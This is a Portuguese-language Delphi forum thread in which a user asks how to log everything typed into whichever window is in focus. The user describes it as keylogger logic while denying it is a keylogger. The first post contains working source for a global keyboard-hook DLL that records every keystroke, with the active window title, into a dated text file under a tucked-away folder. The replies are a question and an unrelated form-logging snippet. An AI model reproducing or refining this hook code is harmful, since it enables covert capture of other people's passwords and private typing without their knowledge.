GARANTIR DESCONTO

Fórum log (janela em foco) #330799

05/10/2006

0

olá pessoal, estou precisando criar um log que pegue a janela do windows que estiver em foco e escreva tudo o que está sendo feito nela(em um arquivo de texto), caso o usuario troque o foco para outra janela a rotina repete... a lógica é a mesma de um keyLogger(NAO ESTOU CRIANDO UM KEYLOGGER)

exemplo:

[janela ativa: http://forum.clubedelphi.net]
aqui aparece o que eu digitei [ENTER]
agora fui para uma outra linha [ENTER]

[janela ativa: Turbo Delphi]
showmessage(´agora o foco está na janela do delphi´)


bom, o que eu tenho atualmente é o código da minha dll que Hooka o teclado , ele quase faz isso, o problema dele é que ele faz algo assim:

[janela ativa: Clube Delphi]C[janela ativa:Clube Delphi]l[janela ativa:Clube Delphi]u[janela ativa:Clube Delphi]b[janela ativa:Clube Delphi]e[janela ativa:Clube Delphi][ENTER]



//isso esta em uma dll


function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
  arq:string;
  b1,b2:Boolean;
  ArqLog:TextFile;
  tecla:String[255];
  BUFFER: array[0..255] of char;

begin
  arq := ´D:\Xst\tmp\sistema\log_´+FormatDateTime(´dd"_"mm"_"yyy´,Date)+´.txt´;

  if (code <> HC_NOREMOVE)and(lParam<0) then begin
    AssignFile(ArqLog,arq);
    try
      if fileexists(arq) then
        Append(ArqLog)
      else
        ReWrite(ArqLog);
       
       GetWindowText(GetActiveWindow, BUFFER, 255);
        Write(ArqLog,´[JANELA ATIVA: ´+ BUFFER +´ ]´);

      case wParam of
        VK_CAPITAL, VK_MENU:begin
          //ignore estas teclas
        end;

        VK_CONTROL:begin
          Write(ArqLog,´[CTRL]´);
        end;
        VK_SHIFT:begin
          Write(ArqLog,´[SHIFT]´);
        end;
        VK_BACK:begin
          Write(ArqLog,´[BKSP]´);
        end;
        VK_TAB:begin
          Write(ArqLog,´[TAB]´);
        end;
        VK_RETURN:begin
          WriteLN(ArqLog,´[ENTER]´);
        end;
        VK_ESCAPE:begin
          Write(ArqLog,´[ESC]´);
        end;
        32..64:begin
          Write(ArqLog,chr(Byte(wParam)));
        end;
        65..90:begin// todas as letras
          b1:=GetKeyState(VK_SHIFT)<0;  // verifica se o Shift está pressionado
          b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
          if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
            Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo
          else
            Write(ArqLog,chr(Byte(wParam)));
        end;
        VK_NUMPAD0..VK_NUMPAD9:begin
          Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48)));
        end;
        else begin

          tecla:=´´;
          GetKeyNameText(LParam,@tecla[1],254);
          Write(ArqLog,´[´+tecla+´]´);
        end;
      end;
      Flush(ArqLog);
    finally
      CloseFile(ArqLog);
    end;
  end;
  Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;



Mahdak

Mahdak

Responder

Posts

29/12/2007

Warfighter

Onde posso usar isso ?

Flw


Responder

Gostei + 0

31/12/2007

Devmedia

Amigo mahdak
Tudo bom cara?

Tente isto:

Procedure AddLog;
var
   log: TextFile;

Begin
If Assigned(FormQueVocequer) then
   try
      AssignFile(log, ´c:\log.log´);
      If not FileExists(´c:\log.log´) then
               Rewrite(log,´c:\log.log´);
               Append(log);
               WriteLn(log, ´FormQueVoceQuer foi aberto´);
       Finally
               CloseFile(log);
  end;
end;


Uma idéia. Agora voce pode implementar o a verificação Assigned da forma que descrevi no código acima. Já que a verificação que fiz acima serve para ver se este Form está em Instância na Memória. Ou seja. Aberto. Concerteza irá suprir sua nescessidade.

Um abraço. Um feliz ano novo.
Att.[/code]


Responder

Gostei + 0

Utilizamos cookies para fornecer uma melhor experiência para nossos usuários, consulte nossa política de privacidade.

Aceitar